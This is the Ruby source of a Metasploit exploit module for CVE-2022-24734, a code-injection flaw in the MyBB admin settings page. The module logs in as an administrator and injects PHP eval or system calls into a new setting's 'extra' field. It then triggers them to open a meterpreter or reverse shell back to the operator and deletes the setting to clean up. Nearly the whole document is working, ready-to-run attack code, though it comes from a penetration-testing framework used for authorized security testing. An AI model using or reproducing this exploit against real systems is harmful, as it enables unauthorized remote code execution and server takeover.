MyBB Admin Control Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Powershell  include Msf::Exploit::CmdStager  def initialize(info = {})    super(      update_info(        info,        'Name' => 'MyBB Admin Control Code Injection RCE',        'Description' => %q{          This exploit module leverages an improper input validation          vulnerability in MyBB prior to `1.8.30` to execute arbitrary code in          the context of the user running the application.          MyBB Admin Control setting page calls PHP `eval` function with an          unsanitized user input. The exploit adds a new setting, injecting the          payload in the vulnerable field, and triggers its execution with a          second request. Finally, it takes care of cleaning up and removes the          setting.          Note that authentication is required for this exploit to work and the          account must have rights to add or update settings (typically, myBB          administrator role).        },        'License' => MSF_LICENSE,        'Author' => [          'Cillian Collins', # vulnerability research          'Altelus', # original PoC          'Christophe De La Fuente' # MSF module        ],        'References' => [          [ 'URL', 'https://github.com/mybb/mybb/security/advisories/GHSA-876v-gwgh-w57f'],          [ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-22-503/'],          [ 'URL', 'https://github.com/Altelus1/CVE-2022-24734'],          [ 'CVE', '2022-24734']        ],        'Platform' => %w[php unix linux win],        'Privileged' => false,        'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],        'Targets' => [          [            'PHP',            {              'Platform' => 'php',              'Arch' => ARCH_PHP,              'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },              'Type' => :in_memory            }          ],          [            'Unix (In-Memory)',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_php_ssl' },              'Type' => :in_memory            }          ],          [            'Linux (Dropper)',            {              'Platform' => 'linux',              'Arch' => [ARCH_X86, ARCH_X64],              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },              'Type' => :dropper            }          ],          [            'Windows (In-Memory)',            {              'Platform' => 'win',              'Arch' => ARCH_CMD,              'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp' },              'Type' => :in_memory            }          ],          [            'Windows (Dropper)',            {              'Platform' => 'win',              'Arch' => [ARCH_X86, ARCH_X64],              'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' },              'Type' => :dropper            }          ]        ],        'DisclosureDate' => '2022-03-09',        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]        }      )    )    register_options(      [        OptString.new('USERNAME', [ true, 'MyBB Admin CP username' ]),        OptString.new('PASSWORD', [ true, 'MyBB Admin CP password' ]),        OptString.new('TARGETURI', [ true, 'The URI of the MyBB application', '/'])      ]    )  end  def check    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, 'index.php'),      'method' => 'GET',      'vars_get' => { 'intcheck' => 1 }    })    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200    # see https://github.com/mybb/mybb/blob/feature/inc/class_core.php#L307-L310    unless res.body.include?('MYBB')      return CheckCode::Unknown("#{peer} - Cannot find MyBB forum running at #{target_uri.path}")    end    print_good("MyBB forum found running at #{target_uri.path}")    return CheckCode::Detected  end  def login    vprint_status('Attempting login')    cookie_jar.cleanup(true)    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, '/admin/index.php'),      'method' => 'POST',      'keep_cookies' => true,      'vars_post' => {        'username' => datastore['USERNAME'],        'password' => datastore['PASSWORD'],        'do' => 'login'      }    })    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?    unless res.body.match(/Logged in as .*#{datastore['USERNAME']}/)      fail_with(Failure::NoAccess, "#{peer} - Invalid credentials")    end    print_good('Login successful!')  end  def send_config_settings(method: 'GET', action: 'add', vars_get: {}, vars_post: {}, check_response: true)    req_hash = {      'uri' => normalize_uri(target_uri.path, '/admin/index.php'),      'method' => method,      'vars_get' => {        'module' => 'config-settings',        'action' => action      }.merge(vars_get)    }    req_hash['vars_post'] = vars_post unless vars_post.blank?    res = send_request_cgi(req_hash, datastore['WfsDelay'] > 0 ? datastore['WfsDelay'] : 2)    if check_response && res.nil?      fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response")    end    res  end  def exploit    login    res = send_config_settings    if res.body.include?('Access Denied')      fail_with(Failure::NoAccess, "#{peer} - Supplied user doesn't have the rights to add a setting")    end    vprint_status('Adding a malicious settings')    doc = res.get_html_document    @my_post_key = doc.xpath('//input[@name="my_post_key"]/@value').text    case target['Type']    when :in_memory      execute_command(payload.encoded)    when :dropper      execute_cmdstager    end  end  def send_payload(cmd)    vprint_status('Adding a crafted configuration setting entry with the payload')    cmd = cmd.gsub(/\\/, '\\' => '\\\\')    cmd = cmd.gsub(/"/, '"' => '\\"')    cmd = cmd.gsub(/\$/, '$' => '\\$')    case target['Platform']    when 'php'      extra = "\" . eval(\"#{cmd}\") .\""    when 'win'      if target['Arch'] == ARCH_CMD        # Force cmd to run in the background (only works for `cmd`)        extra = "\" . pclose(popen(\"start /B #{cmd}\", \"r\")) .\""      else        extra = "\" . system(\"#{cmd}\") .\""      end    else      extra = "\" . system(\"#{cmd} > /dev/null &\") .\""    end    post_data = {      my_post_key: @my_post_key,      title: Rex::Text.rand_text_alpha(rand(8...16)),      description: Rex::Text.rand_text_alpha(rand(8...16)),      gid: 1,      disporder: '',      name: Rex::Text.rand_text_alpha(rand(8...16)),      type: "\tphp",      extra: extra,      value: Rex::Text.rand_text_alpha(rand(8...16))    }    res = send_config_settings(method: 'POST', vars_post: post_data)    unless res.code == 302      doc = res.get_html_document      err = doc.xpath('//div[@class="error"]').text      fail_with(Failure::Unknown,                "#{peer} - The module expected a 302 response but received: "\                "#{res.code}. Exploit didn't work.#{" Reason: #{err}" if err.present?}")    end    vprint_good('Payload successfully sent')  end  def trigger_payload    vprint_status('Triggering the payload execution')    # We're not expecting response to this query    send_config_settings(action: 'change', check_response: false)  end  def remove_setting    vprint_status('Removing the configuration setting')    vprint_status('Grab the delete parameters')    res = send_config_settings(action: 'manage')    if res.body.include?('<title>MyBB Control Panel - Login</title>')      # this exploit seems to logout users sometimes, so, try to login again and retry      print_status('User session is not valid anymore. Trying to login again to cleanup')      login      res = send_config_settings(action: 'manage')    end    doc = res.get_html_document    control_links = doc.xpath('//div[@class="popup_item_container"]/a/@href')    uri = control_links.detect do |href|      href.text.include?('action=delete') && href.text.include?("my_post_key=#{@my_post_key}")    end    if uri.nil?      print_warning("#{peer} - URI not found in `Modify Settings` page - cannot cleanup")      return    end    vprint_status('Send the delete request')    params = uri.text.split('?')[1]    get_data = CGI.parse(params).transform_values(&:join)    send_config_settings(method: 'POST', vars_get: get_data)  end  def execute_command(cmd, _opt = {})    send_payload(cmd)    trigger_payload    remove_setting    print_status('Shell incoming...')  endend